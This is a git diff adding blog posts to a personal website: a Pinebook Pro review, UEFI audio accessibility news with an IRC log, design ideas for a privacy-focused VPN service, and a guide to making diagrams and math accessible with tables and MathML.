I would also be interested in the other batteries they have available. +Even though it comes with a battery, and I also don’t think you can install a second one, I would be interested to see if I could get more life out of it with an improved battery. +If this is a standard battery (Pine64 tends to use standard parts), then I would consider getting it from a supplier as well.

+ +

The Pinebook Pro does not come with any HDMI ports. +It comes with a USB type-C port that can be adapted to HDMI. +Or you can get a display that supports USB type-C. +I do not have a display that supports USB type-C, so it might be worth it for me to buy an adapter or find a compatible one more locally. +Shipping from Hong Kong ain’t cheap.

+ + + +

The boot splash screen can be replaced, but I haven’t figured out how yet. +I will post an update to the blog when I do find out.

+ +

Conclusion

+ +

I really want to use the Pinebook Pro more. +Pine64 do a lot for the open-source community and they do their best to use only open hardware. +They do fail in some respects, but they do much better than the mainline distributors like Dell, HP or ASUS.

+ +

Thanks, Pine64! I’m excited to use your products!

+ +

Happy ARM hacking :)

+ +
+ +
+
+ +
+ + diff --git a/2021/06/21/uefi-audio/index.html b/2021/06/21/uefi-audio/index.html new file mode 100644 index 0000000..10b23f9 --- /dev/null +++ b/2021/06/21/uefi-audio/index.html @@ -0,0 +1,105 @@ + + + + + UEFI Audio Protocol & UEFI BIOS Accessibility | tait.tech + + + + + + + +
+
+

tait.tech

+ + + +
+
+
+
+

UEFI Audio Protocol & UEFI BIOS Accessibility

+ +
+
+ +

Good news about the state of accessibility in the BIOS!

+ +

Preamble

+ +

On my ideas page, I have always had up the idea of an accessibility layer for blind people to be able to use their BIOS. +Although it targets a very small percentage of the population, +computer programming is often at least a hobby of visually imapired individuals as it is (mostly) a text-based job: +You write code in plain text, then run it to get either plain text or some kind of HTML output. +Mostly an accessible career for those who cannot see. +That said, there has always been an issue with low-level computer infrastructure (i.e. the BIOS/UEFI). +These menus—which let you edit your boot order, RAM timings, CPU and GPU overclocking and sometimes even fan speed—they were completely inaccessible to those who could not see them. +Well, until… soon. I had a talk with one of the big bois working on EDK2, the UEFI implementation which is used by most motherboard vendors to create their firmware. +I thought I would share the info I understand, and the conversation in full.

+ +

News

+ +

Here is what I know:

+ +
    +
  1. This year, the GSoC (Google Summer of Code) project had a submission of Ethin Probst to implement VirtIO audio drivers for EDK2.
  2. +
  3. QEMU, the emulator that was chosen to test for this project does not have VirtIO support (yet). I haven’t found info on when this will be done.
  4. +
  5. Because of 2, Ethin and his mentors for his project, Ray Ni and Leif Lindholm decided to first implement USB-dongle audio support first, as this is a) supported in QEMU, and b) is good enough to start squashing bugs at the audio level.
  6. +
  7. Because GSoC is usually over around September, there will likely be some more news coming soon!
  8. +
+ +

The IRC Chat

+ +

Here is the log of the IRC chat for anyone who is interested in anything I might have missed:

+ +
+tait_dot_tech: Hello there, I'm new to IRC so just checking my messages are coming through.
+tait_dot_tech: Looks light it's alright. Ok so I have a question: does anyone know of an active project looking at making UEFI accessible to the blind (i.e. speec) [sic] from within the UEFI environment? Main concern is having blind users be able to boot Linux USBs (I know, very niche thing), but depending on how good it is, could potentially be used to allow blind individuals to change their overclocking,
+tait_dot_tech: hardware RAID, boot order, RAM timings, etc. all on their own. Just wondering if there is any project doing this? I have tried my best to find anything, and am just trying not to duplicate effort. Thanks :)
+leiflindholm: tait_dot_tech: we have a google summer of code project running this year, prototyping a standard for audio output. To hopefully be added to the UEFI specification in the future.
+leiflindholm: once we have a standard for audio output, we can work on adding support for audio output to the Human Interface Infrastructure
+leiflindholm: which is the thing that lets menus be loaded and displayed independent of specific graphical implementation
+tait_dot_tech: Oh wow! Glad to hear there is progress on this! Is there a link to the Google summer of code project, or anything else where I can keep tabs?
+leiflindholm: tait_dot_tech: there isn't much yet, we're only on week 3 of GSoC.
+leiflindholm: https://summerofcode.withgoogle.com/projects/#6499615798460416 is the link if it's something you want to point others to, but any discussion/reporting is likely to hapen [sic] on our mailing lists
+tait_dot_tech: By "our" mailing list, do you mean GSoC, or Edk2?
+leiflindholm: edk2
+leiflindholm: although, on average, at least 99% of edk2-devel will *not* be about audio support
+leiflindholm: When we have anything interesting to say, we'll also post to edk2-discuss/edk2-announce
+tait_dot_tech: Sweet! I'll join that one just in case! I'd be happy to test anything in beta-ish state and report back with any device I can get my hands on. Is that the right list to watch for hepling test it out?
+leiflindholm: I'd say so.
+leiflindholm: The original plan was to start with wirtio [sic] audio support, so anyone could help out anywhere, but that support is not yet upstream in qemu. So for now we're working on an [sic] USB audio class driver. That will certainly be useful to have more people testing with different equipment once we have something working.
+tait_dot_tech: Ahh! So if I want to test, I should get a USB audio dongle. Gotcha! Thank you so much! You've been super helpful!
+leiflindholm: np :)
+
+ +

Things are (slowly) looking up for audio (and eventually screen-reader support) in UEFI! +Phew! Glad I’m not the only one thinking about this!

+ +

Happy UEFI hacking :)

+ +
+ +
+
+ +
+ + diff --git a/2021/08/31/vpns-api/index.html b/2021/08/31/vpns-api/index.html new file mode 100644 index 0000000..998aa89 --- /dev/null +++ b/2021/08/31/vpns-api/index.html @@ -0,0 +1,235 @@ + + + + + Idea For A VPN Service | tait.tech + + + + + + + + +
+
+

tait.tech

+ + + +
+
+
+
+

Idea For A VPN Service

+ +
+
+ +

Recently I’ve been thinking about starting a VPN service. +This service has some interesting requirements that I have never seen a VPN service do before, so I’d like to put down my thoughts as to what might be sensible for a centralized yet encrypted* VPN service.

+ +

I would license all the code and scripts under the AGPLv3. +This creates an environment where I could allow my company to use this code, and any other company for that matter. However, no company would be allowed to take it into their own hands and use it without contributing back to the project.

+ +

E2EE VPN

+ +

I want this service in many ways to be on par with ProtonMail: +end-to-end encrypted (E2EE), and with a focus in data security for the user of the service.

+ +

Full encryption, so that even me, the writer and the deployer of the service, cannot view any information about the user: this is the utmost security. +The bad news is that this is very hard to do in a convenient way. +I’ve decided for now that the best thing to do is to target the Linux nerd. +Target the user who is familiar with these advanced security practices, then make them available to the general public as the layers on top of the robust security are refined.

+ +

Why?

+ +

End-to-end encryption is necessary in a country like Canada, where I may be sent a subpoena to provide customer data. +This is the case especially in the Five Eyes anglophone group of countries, who essentially spy on each others’ citizens for eachother. +In essence, any data in the hand of one government agency in the “Eyes Countries” may be shared between the Five, Nine, and 14 Eyes countries.

+ +

I am not against government surveillance in principle. +In theory, the government should be finding bad guys: pedophiles, sex trafficking rings and drug cartels. +In practice, the U.S. government especially, uses its authority to spy on its own citizens who are simply minding their own business. Bulk data collection mass surveillance is not a freedom respecting characteristic of modern western democracies. +I do run the risk of not being able to help much in the case of a genuine warrant against a genuine, evil criminal. +That is the risk of privacy.

+ +

That said, let’s see what can be built that can do these 2 things:

+
    +
  1. Maximize privacy for the user.
  2. +
  3. Allow for (optional) monetization, depending on the provider. This is in some contradiction to premise 1.
  4. +
+ +

What We Need

+ +

A VPN service needs access to some basic information:

+
    +
  1. Service discontinue time (the amount of time until the customer must renew).
  2. +
  3. Active connections (a number which can not be exceeded by an individual user).
  4. +
+ +

The client needs access to some information from the server as well:

+
    +
  1. A list of VPNs able to be connected to (with filters).
  2. +
  3. For every VPN: +
      +
    1. IP Address.
    2. +
    3. Maximum bandwidth.
    4. +
    5. Number of connected users or connection saturation percentage.
    6. +
    7. Supported protocols.
    8. +
    +
  4. +
+ +

Can we do this in a end-to-end encrypted fashion? +I’m honestly not sure. But here are my ideas so far as to how some of these functions might work.

+ +

How To Do It

+ +

“Usernames”

+ +

There will be one button to create your account: “Generate username” +The username, or unique identifier for a user will be generated for them by a random generator. +I plan to generate a username from a list of Base 64 characters; it will be a guaranteed length of 16. +This gives a total of: 79228162514264337593543950336 or 7.9×10287.9 \times 10^{28} posibilities. +This is sufficient for a username.

+ +

The other option is to use a standard “username” field that uses a modern hash function like SHA512 to store it in the database. +This is less secure as it is vulnerable to a brute-force attack of finding users, +but this is also a very easy attack to defend against, i.e. IP banning after 10-ish tries of not finding a username.

+ +

A non-unique, universal salt will also be used on each username before storing it in the database to make it more secure. +This decreases the possibility of an advanced attacker being able to find usernames in a leaked database using rainbow tables. +That said, the fact that it is a fixed salt makes it much more vulnerable to an attack. +Although it would be known only by the server machine, it would still be somewhat of a vulnerability. +The operator may also store the salt in an encrypted password store of their own in case the server is erased, broken into, etc. +It would be fairly easy, if they have access to the active salt, to migrate to a new salt every few days/months, or perhaps every time a server upgrade/maintenance happens. +This does run the possibility of larger issues if the server is shut down or hangs during a migration and needs to be restarted. +Many users may end up with accounts they cannot access without manual cleanup.

+ +

In the end, the application would need a backup of this salt, otherwise login times would become linear to the number of users as the database checks every user’s salt to see if it matches the hash made with the username input. +Note that the database does not store the salt, so finding it will be very hard, even in the case of a leaked database.

+ +

So, here’s the overview: +The username will be generated, then stored after being salted and hashed. +The salt will be a fixed or rolling salt across all usernames to avoid linear scaling of searching for a user. +The server will only see the username once, when sending it to the user for them to save for the first time; +there will be no database entry with the original username in it.

+ +

This does mean that if the username is lost, the account is lost too. There is no way to recover the account. +Again, this is ok for now, as my target audience is advanced Linux and privacy enthusiasts.

+ +

“Passwords”

+ +

There are a few options for passwords/secret keys.

+ +

I think the best is to treat it similarly to the username is above, except it will not be generated for you. +When a new account is generated, you will be taken to a password reset screen where you will set your password to whatever your want, using your own secure system to handle it. +This is ideal for Linux and tech enthusiasts as they generally already have a password management system setup.

+ +

This will also be salted, with its own unique salt, then hashed and stored alongside the username.

+ +

Active Time Remaining

+ +

It is easy and ideal to have a field connected to a user with their expiry date for their account. +When a payment is made, this date will be increased by the number of days, hours and minutes proportional to the payment received.

+ +

For example: if a “month” (30 days) costs ten dollars, then a payment of fifteen dollars would add 45 days to an account. So essentially 33 cents per day, 1030×24=0.0138 \frac{10}{30 \times 24}=0.0138 dollars per hour, or 1030×24×60=0.00023148\frac{10}{30 \times 24 \times 60}=0.00023\overline{148} dollars per minute. +This is the second biggest threat to the users’ data privacy, as this, by definition, cannot be encrypted as my server needs access to this data to decide whether a user should be allowed to: view a list of VPN nodes available to them or connect to a VPN. +The best I can think of in this case is:

+
    +
  1. Use a system similar to the username: use a common salt and hash algorithm to store them in the database.
  2. +
  3. Use full-disk and full-database encryption to keep the data secure to outside attackers.
  4. +
+ +

This is not a fantastic solution, and still has the threat of a service provider snooping in on the database. +The truth is: a service provider has root access to any machine it hosts. +This necessitates that the physical infrastructure hosting the central database server must by physically owned and operated by the VPN operator and not any third party. +In addition, it means top security root passwords, tamper resistant cases (in the case of a co-hosting or server room environment), sensors to indicate it has been opened or touched. +If you thought this was bad, wait until the next part.

+ +

Active Connections

+ +

In order to stop a user from simply using the entire bandwidth of all the VPN nodes available to them, there must be a way to know how many active connections the user has. +This is by far the biggest issue in terms of user privacy. +There are a few options here:

+
    +
  1. Do not have a limit on the number of connections a user may have. This is dangerous from a DDoS (distributed denial-of-service) perspective. +This also makes the VPN provider vulnerable to be used as a DDoS distribution method by putting all their traffic through the VPN provider, and them not having any logs—the bad guys could use the distributed nature of VPN nodes to attack whoever they see fit. +This is not a viable option.
  2. +
  3. Have a list of connected users sent to the central server every 15 to 30 seconds. This is fairly efficient, but more privacy invasive.
  4. +
  5. When a user connects, log an explicit “connect” message. +When a user disconnects, send an explicit “disconnect”. +Have the VPN server report an implicit “disconnect” after an amount of time, say 15 minutes, then send an implicit “connect” message once traffic continues. This is all in RAM under temporary storage and is lost upon restart of the server.
  6. +
+ +

The best method (used currently by Mullvad VPN) is number 3.

+ +

Panel

+ +

The admin panel will have some broad info about the nodes:

+ +
    +
  • Active connections
  • +
  • Server load (held and reported every minute by the nodes themselves. Not sure how to do this yet.)
  • +
  • Location
  • +
  • IP Address
  • +
  • Failed connections in last X amount of time (i.e. invalid credentials)
  • +
  • Physical server status (i.e. owned by the hoster vs. contracted out to another hosting company in the area)
  • +
+ +

This panel would also have options to stop, start or soft stop the VPN service on each node for maintenance. +A soft stop will stop new connections and remove it from the list of available servers for the end-user. Users will disconnect whenever they feel like it—eventually winding down to zero connections. +This allows maintenance without service disruption.

+ +

I’m not sure how to do this securely. +Best I can think of right now is have an admin login, then have the server have a key in each node machine. +This completely compromises the SSH key system though. +Now every node is secured with nothing but a password. Maybe the console will require connecting to a local instance on a machine through an encrypted connection which will require a key. +Even then, that does make every machine vulnerable to one point of failure (the key to connect to the local instance).

+ +

Another way to approach this, security-wise is to make a shell script (or locally running flask app) which reads info about the servers from a sqlite database. +Then, it uses the local computer to connect to the servers—assuming the local machine has all the keys necessary to do so.

+ +

This fixes one problem and creates another. +It fixes the single point of failure in the cloud. This massively reduces the attack surface to intentionally stealing physical hardware from trusted parties, or software-hacking these same trusted people. +But, if the key is lost by the host… The entire service is kaput. No maintenance may be performed, no checks, bans, addition of servers can be done whatsoever. +This also increases the possibility of sloppy security from trusted parties. +Perhaps a trusted member leaves his laptop unattended for a few minutes and a hacker is able to steal the simple key file. He’s in!!! +This is very unlikely, I must say, but it comes down to: should I trust people or machines more to keep the data secure. +Depending on the person, I might trust them more.

+ +

Conclusion

+ +

With all of these ideas in mind, I have realized how difficult it really is to make a VPN service. +Boy do they deserve every dollar they get! +If you don’t have a VPN, get one. +Doesn’t really matter which one, unless you’re a nerd—for your average person you can just pick whatever the best deal is at the time and you’re off to the races.

+ +

Anyway, I think I’ve rambled on long enough about VPNs and my crazy ideas, so I’m going to leave this one for now.

+ +

Happy VPN hacking :D

+ +
+ +
+
+ +
+ + diff --git a/2021/09/18/how-to-generate-proper-content-mathml-from-katex-or-latex/index.html b/2021/09/18/how-to-generate-proper-content-mathml-from-katex-or-latex/index.html new file mode 100644 index 0000000..442687d --- /dev/null +++ b/2021/09/18/how-to-generate-proper-content-mathml-from-katex-or-latex/index.html @@ -0,0 +1,335 @@ + + + + + How To Produce Semantically Correct MathML From XaTeX/LaTeX (and other accessibility ideas) | tait.tech + + + + + + + + +
+
+

tait.tech

+ + + +
+
+
+
+

How To Produce Semantically Correct MathML From XaTeX/LaTeX (and other accessibility ideas)

+ +
+
+ +

During a recent run-in with the Simon Fraser Fraser University accessibility department, +I learned that they’re writers are so well-trained as to write “image” where a simple diagram is shown, +and “print out picture of output” where a piece of code lies. +I figure the geniuses over there could use some help creating files for the visually impaired. +Here’s a quick guide!

+ +

Diagrams

+ +

Most unexplained diagrams I saw were ones which mirrored classic computer-science imagery; +these diagrams, for the most part, were not complex nor exotic; +they are straight-forward to explain in writing, +or easy to turn into a table. +I’ll show two examples here, +one will show a visual aide in relation to stacks and queues, +and the other will show a memory representation of a stack. +Both of these were explained as “image” to the student.

+ +

Stacks

+ +

Diagram 1:

+ +
+ image...lol! Just kidding, will explain it below w/ table +
Simple diagram explaining the push/pop process. Source: Stackoverflow
+
+ +

Ok, so here we have a diagram showing the pushing and popping process of a stack. +Now, “image” is hardly sufficient to explain this, so let’s try it with text. +I won’t finish it because it gets unwieldy very fast:

+ +
+

A diagram showing a stack. It starts with the operation “Push A”, and now the stack contains the variable “A”; now the stack pushes “B”, which displays now “B” on top of “A”…

+
+ +

This is no solution. +It is hard to explain this correctly and accurately without being extremely verbose and frankly, confusing—this defeats the whole purpose of describing the image. +The good news, is that computer science diagrams especially tend to lean towards being tabular data. +Now to be clear, something does not need to look like a table to be tabular data; +this image happens to look almost like a table if you squinted hard enough, +but many data not written down in a table, are still “tabular data”. +I will show an example of that next! +For now though, here is the same idea, same data without words:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
OperatorStack Values
Push A[A]
Push B[B, A]
Push C[C, B, A]
Push D[D, C, B, A]
Pop D[C, B, A]
+ +

Now this diagram does imply you can pop other items, like “Pop A”, which is just not true. +But that’s the fault of the diagram, not the representation of it.

+ +

Here is the raw text equivalent (in Markdown):

+ +
+Operator|Stack Values
+---|---
+Push A|[A]
+Push B|{B, A]
+Push C|[C, B, A]
+Push D|[D, C, B, A]
+Pop (D)|[C, B, A]
+
+ +

Stacks in Memory

+ +

So I couldn’t find a good non-copyright image of a stack in memory, but I’ll write it down here in plain text, and you should get the idea. +Now again, remember this is still labeled “image” to the student, +they do not have access to a text version of this.

+ +
+( ) ( ( ( ) ) ) ( ) ( ( ) ( ( )
+1 0 1 2 3 2 1 0 1 0 1 2 1 2 3 2
+
+ +

Now, someone who looks at this can probably see that the number goes up for a left parenthesis, and down for a right parenthesis. +“Image”, however, does not handle the detail. +The issue here is a transcriber is likely to want to transcribe this as text. +But it’s really not. +This is again, tabular data, which is best represented in a table.

+ +

Table of this:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
CharacterCounter
(1
)0
(1
(2
(3
)2
)1
)0
(1
)0
(1
(2
)1
(2
(3
)2
+ +

Raw text in markdown:

+ +
+Character|Counter
+---|---
+(|1
+)|0
+(|1
+(|2
+(|3
+)|2
+)|1
+)|0
+(|1
+)|0
+(|1
+(|2
+)|1
+(|2
+(|3
+)|2
+
+ +

Insanely simple! +Look for clues of tabular data. +Things which have a one to one correspondence of any kind can usually be represented as a table, even if it’s only “aligned” on the slide or note.

+ +

Math Expressions & MathML

+ +

Here is a more complex example: +using math within a presentation.

+ +

Let’s take for example the mathematical expression 16=2416 = 2^{4}. This is a very simple math expression that completely breaks in some cases. +When converting some math expressions to text, it will convert that expression as 16=2416 = 24, erasing the superscript to denote the exponent.

+ +

This gets even worse with large mathematical expressions like this:

+ +

B2U(X)=i=0w1xi×2i +\text{B2U}(X) = \sum_{i=0}^{w-1} x_{i} \times 2^{i} +

+ +

Here is what I get by extracting the text from the PDF:

+ +
+B2U(X ) =
+
+w-1
+
+Σ xi •2
+i=0
+
+i
+
+ +

And this is generous, as the sigma sign, bullet point, equal sign and minus sign were for some reason not UTF-8 encoded so it displayed as a chat sign emoji, down arrow, video camera and book sign respectively. +Not sure about you, but I certainly can’t get the equation out of that mess.

+ +

These can be written in LaTeX, then converted to MathML (an accessible math format) using KaTeX. +Here’s an example of what to write to product the function above:

+ +
+\text{B2U}(X) = \sum_{i=0}^{w-1} x_{i} \times 2^{i}
+
+ +

For someone who is doing transcription as a job for visually impaired students, +I would go so far as to say to learn this is a necessity.

+ +
    +
  1. It’s not difficult. You can learn the vast majority of LaTeX math syntax in an afternoon.
  2. +
  3. It’s easier for everyone to read. Especially with KaTeX. KaTeX is able to convert the formula to both MathML for screenreader users and HTML markup for people who just want to see those fancy math expressions.
  4. +
+ +

Likely, the teacher is already using some LaTeX derivative to create the math in the first place, +they might as well use a program like KaTeX, MathJax or likewise to convert it to MathML.

+ +

Code & Output

+ +

How did it even happen that entire programs and outputs were just ignored with the label “picture of output” is beyond me. +Everything should be transcribed. +Whoever transcribed that document should be fired.

+ +

Conclusion

+ +

To teachers:

+ +

Presenting information in plain text, or at least having alternates forms of images, diagrams and math formulas makes education better for everyone, not just blind students. +It makes it better for people running on cheaper devices which may not handle running heavy software like Microsoft PowerPoint; +it makes it better for people who use operating systems other than MacOS and Windows (this is especially important in the technology sector, where Linux/BSD users make up a sizeable minority of users); +and finally, it makes it easier to search through the content of all notes at once using simple text-manipulation tools.

+ +

To accessibility departments:

+ +

Running a pdftotext program, or simply transcribing handwritten notes is not enough to properly describe slides and notes—handwritten or not. +Every diagram, math equation, annotation, piece of code or output—every single thing must be transcribed to plain text, or some alternate format like MathML.

+ +

I find it sad that a student (with their own full-time job) can product better work than someone who has this job exclusively at a major university. +Perhaps I am mistaken and the university has volunteers do this work. +In that case I guess you can’t ask for too much, but somehow I feel like this is probably not the case.

+ +

Big sad.

+ +
+ +
+
+ +
+ + diff --git a/2021/11/30/new-company/index.html b/2021/11/30/new-company/index.html new file mode 100644 index 0000000..a0956b6 --- /dev/null +++ b/2021/11/30/new-company/index.html @@ -0,0 +1,70 @@ + + + + + New Company | tait.tech + + + + + + + +
+
+

tait.tech

+ + + +
+
+
+
+

New Company

+ +
+
+ +

In my accidental quest to create accessible diagrams to a computer science student I have been contracting for, +I found in the post-secondary field a massive lack of care given to the topic of accessible diagrams, +even when they are relatively easy to create. +For example, a binary tree, or any tree structure actually has native aria-role attributes to alert a screen reader to the presence of a tree object. +A tree is only a list of lists after all.

+ +

What I’m Doing Now

+ +

Although I sort of thought my career was going in a different direction after starting a full-time job in August, +I think I’m the right guy to create a good system for this. +I will be using my existing company Bytetools to create and sell these tools to universities. +It will be all open-source (GPLv3), but access to a website that I maintain for an institution will cost a bunch of money that only a university can afford.

+ +

Side note: This is how to make money with open source: +Create the software (free and libre), then host the software for a monthly fee. +Invoice Ninja uses this strategy, and I think it strikes the appropriate balance between the need to live off of something you care about and creating free and open-source software. +For the vast majority of people it makes more sense for them to purchase a subscription to your site than to find someone who can setup a website for them alone.

+ +

So, here goes nothing…

+ +
+ +
+
+ +
+ + diff --git a/LICENSE b/LICENSE index 835a683..c9c5eb9 100644 --- a/LICENSE +++ b/LICENSE @@ -1,170 +1,29 @@ -Creative Commons Attribution-ShareAlike 4.0 International - - Creative Commons Corporation (“Creative Commons”) is not a law firm and does not provide legal services or legal advice. Distribution of Creative Commons public licenses does not create a lawyer-client or other relationship. Creative Commons makes its licenses and related information available on an “as-is” basis. Creative Commons gives no warranties regarding its licenses, any material licensed under their terms and conditions, or any related information. Creative Commons disclaims all liability for damages resulting from their use to the fullest extent possible. - -Using Creative Commons Public Licenses - -Creative Commons public licenses provide a standard set of terms and conditions that creators and other rights holders may use to share original works of authorship and other material subject to copyright and certain other rights specified in the public license below. The following considerations are for informational purposes only, are not exhaustive, and do not form part of our licenses. - -Considerations for licensors: Our public licenses are intended for use by those authorized to give the public permission to use material in ways otherwise restricted by copyright and certain other rights. Our licenses are irrevocable. Licensors should read and understand the terms and conditions of the license they choose before applying it. Licensors should also secure all rights necessary before applying our licenses so that the public can reuse the material as expected. Licensors should clearly mark any material not subject to the license. This includes other CC-licensed material, or material used under an exception or limitation to copyright. More considerations for licensors. - -Considerations for the public: By using one of our public licenses, a licensor grants the public permission to use the licensed material under specified terms and conditions. If the licensor’s permission is not necessary for any reason–for example, because of any applicable exception or limitation to copyright–then that use is not regulated by the license. Our licenses grant only permissions under copyright and certain other rights that a licensor has authority to grant. Use of the licensed material may still be restricted for other reasons, including because others have copyright or other rights in the material. A licensor may make special requests, such as asking that all changes be marked or described. - -Although not required by our licenses, you are encouraged to respect those requests where reasonable. More considerations for the public. - -Creative Commons Attribution-ShareAlike 4.0 International Public License - -By exercising the Licensed Rights (defined below), You accept and agree to be bound by the terms and conditions of this Creative Commons Attribution-ShareAlike 4.0 International Public License ("Public License"). To the extent this Public License may be interpreted as a contract, You are granted the Licensed Rights in consideration of Your acceptance of these terms and conditions, and the Licensor grants You such rights in consideration of benefits the Licensor receives from making the Licensed Material available under these terms and conditions. - -Section 1 – Definitions. - - a. Adapted Material means material subject to Copyright and Similar Rights that is derived from or based upon the Licensed Material and in which the Licensed Material is translated, altered, arranged, transformed, or otherwise modified in a manner requiring permission under the Copyright and Similar Rights held by the Licensor. For purposes of this Public License, where the Licensed Material is a musical work, performance, or sound recording, Adapted Material is always produced where the Licensed Material is synched in timed relation with a moving image. - - b. Adapter's License means the license You apply to Your Copyright and Similar Rights in Your contributions to Adapted Material in accordance with the terms and conditions of this Public License. - - c. BY-SA Compatible License means a license listed at creativecommons.org/compatiblelicenses, approved by Creative Commons as essentially the equivalent of this Public License. - - d. Copyright and Similar Rights means copyright and/or similar rights closely related to copyright including, without limitation, performance, broadcast, sound recording, and Sui Generis Database Rights, without regard to how the rights are labeled or categorized. For purposes of this Public License, the rights specified in Section 2(b)(1)-(2) are not Copyright and Similar Rights. - - e. Effective Technological Measures means those measures that, in the absence of proper authority, may not be circumvented under laws fulfilling obligations under Article 11 of the WIPO Copyright Treaty adopted on December 20, 1996, and/or similar international agreements. - - f. Exceptions and Limitations means fair use, fair dealing, and/or any other exception or limitation to Copyright and Similar Rights that applies to Your use of the Licensed Material. - - g. License Elements means the license attributes listed in the name of a Creative Commons Public License. The License Elements of this Public License are Attribution and ShareAlike. - - h. Licensed Material means the artistic or literary work, database, or other material to which the Licensor applied this Public License. - - i. Licensed Rights means the rights granted to You subject to the terms and conditions of this Public License, which are limited to all Copyright and Similar Rights that apply to Your use of the Licensed Material and that the Licensor has authority to license. - - j. Licensor means the individual(s) or entity(ies) granting rights under this Public License. - - k. Share means to provide material to the public by any means or process that requires permission under the Licensed Rights, such as reproduction, public display, public performance, distribution, dissemination, communication, or importation, and to make material available to the public including in ways that members of the public may access the material from a place and at a time individually chosen by them. - - l. Sui Generis Database Rights means rights other than copyright resulting from Directive 96/9/EC of the European Parliament and of the Council of 11 March 1996 on the legal protection of databases, as amended and/or succeeded, as well as other essentially equivalent rights anywhere in the world. - - m. You means the individual or entity exercising the Licensed Rights under this Public License. Your has a corresponding meaning. - -Section 2 – Scope. - - a. License grant. - - 1. Subject to the terms and conditions of this Public License, the Licensor hereby grants You a worldwide, royalty-free, non-sublicensable, non-exclusive, irrevocable license to exercise the Licensed Rights in the Licensed Material to: - - A. reproduce and Share the Licensed Material, in whole or in part; and - - B. produce, reproduce, and Share Adapted Material. - - 2. Exceptions and Limitations. For the avoidance of doubt, where Exceptions and Limitations apply to Your use, this Public License does not apply, and You do not need to comply with its terms and conditions. - - 3. Term. The term of this Public License is specified in Section 6(a). - - 4. Media and formats; technical modifications allowed. The Licensor authorizes You to exercise the Licensed Rights in all media and formats whether now known or hereafter created, and to make technical modifications necessary to do so. The Licensor waives and/or agrees not to assert any right or authority to forbid You from making technical modifications necessary to exercise the Licensed Rights, including technical modifications necessary to circumvent Effective Technological Measures. For purposes of this Public License, simply making modifications authorized by this Section 2(a)(4) never produces Adapted Material. - - 5. Downstream recipients. - - A. Offer from the Licensor – Licensed Material. Every recipient of the Licensed Material automatically receives an offer from the Licensor to exercise the Licensed Rights under the terms and conditions of this Public License. - - B. Additional offer from the Licensor – Adapted Material. Every recipient of Adapted Material from You automatically receives an offer from the Licensor to exercise the Licensed Rights in the Adapted Material under the conditions of the Adapter’s License You apply. - - C. No downstream restrictions. You may not offer or impose any additional or different terms or conditions on, or apply any Effective Technological Measures to, the Licensed Material if doing so restricts exercise of the Licensed Rights by any recipient of the Licensed Material. - - 6. No endorsement. Nothing in this Public License constitutes or may be construed as permission to assert or imply that You are, or that Your use of the Licensed Material is, connected with, or sponsored, endorsed, or granted official status by, the Licensor or others designated to receive attribution as provided in Section 3(a)(1)(A)(i). - - b. Other rights. - - 1. Moral rights, such as the right of integrity, are not licensed under this Public License, nor are publicity, privacy, and/or other similar personality rights; however, to the extent possible, the Licensor waives and/or agrees not to assert any such rights held by the Licensor to the limited extent necessary to allow You to exercise the Licensed Rights, but not otherwise. - - 2. Patent and trademark rights are not licensed under this Public License. - - 3. To the extent possible, the Licensor waives any right to collect royalties from You for the exercise of the Licensed Rights, whether directly or through a collecting society under any voluntary or waivable statutory or compulsory licensing scheme. In all other cases the Licensor expressly reserves any right to collect such royalties. - -Section 3 – License Conditions. - -Your exercise of the Licensed Rights is expressly made subject to the following conditions. - - a. Attribution. - - 1. If You Share the Licensed Material (including in modified form), You must: - - A. retain the following if it is supplied by the Licensor with the Licensed Material: - - i. identification of the creator(s) of the Licensed Material and any others designated to receive attribution, in any reasonable manner requested by the Licensor (including by pseudonym if designated); - - ii. a copyright notice; - - iii. a notice that refers to this Public License; - - iv. a notice that refers to the disclaimer of warranties; - - v. a URI or hyperlink to the Licensed Material to the extent reasonably practicable; - - B. indicate if You modified the Licensed Material and retain an indication of any previous modifications; and - - C. indicate the Licensed Material is licensed under this Public License, and include the text of, or the URI or hyperlink to, this Public License. - - 2. You may satisfy the conditions in Section 3(a)(1) in any reasonable manner based on the medium, means, and context in which You Share the Licensed Material. For example, it may be reasonable to satisfy the conditions by providing a URI or hyperlink to a resource that includes the required information. - - 3. If requested by the Licensor, You must remove any of the information required by Section 3(a)(1)(A) to the extent reasonably practicable. - - b. ShareAlike.In addition to the conditions in Section 3(a), if You Share Adapted Material You produce, the following conditions also apply. - - 1. The Adapter’s License You apply must be a Creative Commons license with the same License Elements, this version or later, or a BY-SA Compatible License. - - 2. You must include the text of, or the URI or hyperlink to, the Adapter's License You apply. You may satisfy this condition in any reasonable manner based on the medium, means, and context in which You Share Adapted Material. - - 3. You may not offer or impose any additional or different terms or conditions on, or apply any Effective Technological Measures to, Adapted Material that restrict exercise of the rights granted under the Adapter's License You apply. - -Section 4 – Sui Generis Database Rights. - -Where the Licensed Rights include Sui Generis Database Rights that apply to Your use of the Licensed Material: - - a. for the avoidance of doubt, Section 2(a)(1) grants You the right to extract, reuse, reproduce, and Share all or a substantial portion of the contents of the database; - - b. if You include all or a substantial portion of the database contents in a database in which You have Sui Generis Database Rights, then the database in which You have Sui Generis Database Rights (but not its individual contents) is Adapted Material, including for purposes of Section 3(b); and - - c. You must comply with the conditions in Section 3(a) if You Share all or a substantial portion of the contents of the database. -For the avoidance of doubt, this Section 4 supplements and does not replace Your obligations under this Public License where the Licensed Rights include other Copyright and Similar Rights. - -Section 5 – Disclaimer of Warranties and Limitation of Liability. - - a. Unless otherwise separately undertaken by the Licensor, to the extent possible, the Licensor offers the Licensed Material as-is and as-available, and makes no representations or warranties of any kind concerning the Licensed Material, whether express, implied, statutory, or other. This includes, without limitation, warranties of title, merchantability, fitness for a particular purpose, non-infringement, absence of latent or other defects, accuracy, or the presence or absence of errors, whether or not known or discoverable. Where disclaimers of warranties are not allowed in full or in part, this disclaimer may not apply to You. - - b. To the extent possible, in no event will the Licensor be liable to You on any legal theory (including, without limitation, negligence) or otherwise for any direct, special, indirect, incidental, consequential, punitive, exemplary, or other losses, costs, expenses, or damages arising out of this Public License or use of the Licensed Material, even if the Licensor has been advised of the possibility of such losses, costs, expenses, or damages. Where a limitation of liability is not allowed in full or in part, this limitation may not apply to You. - - c. The disclaimer of warranties and limitation of liability provided above shall be interpreted in a manner that, to the extent possible, most closely approximates an absolute disclaimer and waiver of all liability. - -Section 6 – Term and Termination. - - a. This Public License applies for the term of the Copyright and Similar Rights licensed here. However, if You fail to comply with this Public License, then Your rights 